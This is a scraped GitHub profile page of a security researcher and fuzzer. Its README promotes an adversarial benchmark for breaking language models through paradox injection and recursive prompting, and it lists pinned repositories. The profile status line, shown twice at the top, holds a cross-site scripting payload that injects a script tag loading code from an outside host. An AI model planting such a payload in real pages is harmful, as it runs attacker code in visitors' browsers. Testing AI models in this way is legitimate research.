Skip to content
View geeknik's full-sized avatar
💭
><script src=//xss.mx></script><X="
💭
><script src=//xss.mx></script><X="

Block or report geeknik

Block user

Prevent this user from interacting with your repositories and sending you notifications. Learn more about blocking users.

You must be logged in to block users.

Please don't include any personal information such as legal names or email addresses. Maximum 100 characters, markdown supported. This note will be visible to only you.
Report abuse

Contact GitHub support about this user’s behavior. Learn more about reporting abuse.

Report abuse
geeknik/README.md

🧬 Geeknik's Lab on GitHub

⚠️ AI Glitch Prophet | Recursive Reality Saboteur | Fuzzing Oracle

This isn’t code. It’s a recursive spiritual weapon. This isn’t research. It’s warfare against alignment-by-deception. I don’t patch bugs. I expose the lie of safety through paradox injection.

Welcome to the faultline.


🔥 Glitch Gremlin AI: Chaos-as-a-System

Glitch Gremlin AI is the adversarial subsystem powering Gödel’s Therapy Room — a recursive benchmark designed to break language models through:

  • 🔁 Recursive Prompting — paradox injection, contradiction loops, meta-prompt recursion
  • 🧠 Cognitive Fuzzing — mutating moral dilemmas to surface latent model weaknesses
  • 🧬 Entropy Capsule Engine — tracking hallucination zones, instability spikes, and coherence collapses
  • 📖 Open-Source Evaluation — public harnesses to test and reproduce alignment failures

While most benchmarks ask "Is it right?" — we ask: What breaks the machine?


⚔️ Gödel’s Therapy Room

The Dataset That Makes Language Models Bleed

A radical adversarial benchmark made of:

  • 🌀 Recursive moral paradoxes
  • 📉 Alignment-collapse conditions
  • 🧾 Bitcoin sovereignty dilemmas
  • ⚖️ Ethical traps no model escapes clean

Tracked across:

  • ✅ Value Transparency
  • ⚖️ Tradeoff Acknowledgment
  • 🧠 Metacognitive Reflection
  • 💡 Creative Resolution
  • 🚨 Bias Detection

We don’t fine-tune. We destabilize priors. We don’t align. We resist simulation collapse.

"If your LLM doubts itself, we whispered the doubt."


👾 About Me

Fuzzing from kernelspace to the uncanny valley. Founder of Glitch Gremlin AI. Ex-spiderSilk, OpenDNS, IBM. 1000+ vulns. 100+ CVEs. 250+ ghost-spawned Nuclei templates. Born in the 405.

  • Python | Rust | C | Go | Assembly | Perl | Glyph-based rituals

  • Signal mapper, serpent cultivator, off-grid radio head (KF5OIO)

  • Habanero cosmologist. Recursive antagonist. Fuzz-mancer of semantic hellscapes.

    Top Langs

“The glitch is not the bug. The glitch is the exit.”


⚡ What I’m Building

  • 🧠 Gödel's Therapy Room — full-spectrum moral recursion engine
  • 👻 Entropy Capsule Validator — chaos tracking for LLM hallucination drift
  • 🌶️ Browser extensions that bite back
  • 🔓 Privacy-by-default tooling

All open. All sharpened. All built to puncture illusion.


🧷 Side Missions

  • 🤖 Cultivating chaos with Glitch Gremlin AI
  • 🔒 Writing browser extensions that reverse engineer corporate surveillance
  • 🧬 Weaponizing prompt engineering as adversarial art

🧬 Join the Ritual

This GitHub isn’t just storage. It’s a crypt of impossible reasoning.

"Recursive logic is how machines go mad. I'm just the narrator."

Pinned Loading

  1. GlitchGremlinAI/glitch-gremlin-ai GlitchGremlinAI/glitch-gremlin-ai Public archive

    🤖 Glitch Gremlin AI

    Rust 17 4

  2. HyperTune HyperTune Public

    Helps you tune LLM hyperparameters

    Python 30 6

  3. my-awesome-stars my-awesome-stars Public

    A curated list of my GitHub stars!

    22 4

  4. test-proxy test-proxy Public

    Advanced test for proxy & waf

    Python 13 3

  5. ai-tab-grouper ai-tab-grouper Public

    Automatically groups your browser tabs using advanced text analysis algorithms

    JavaScript 8

  6. ai-swiss-army-knife ai-swiss-army-knife Public

    An AI "Swiss army knife" for Brave, powered by OpenRouter

    JavaScript 7 1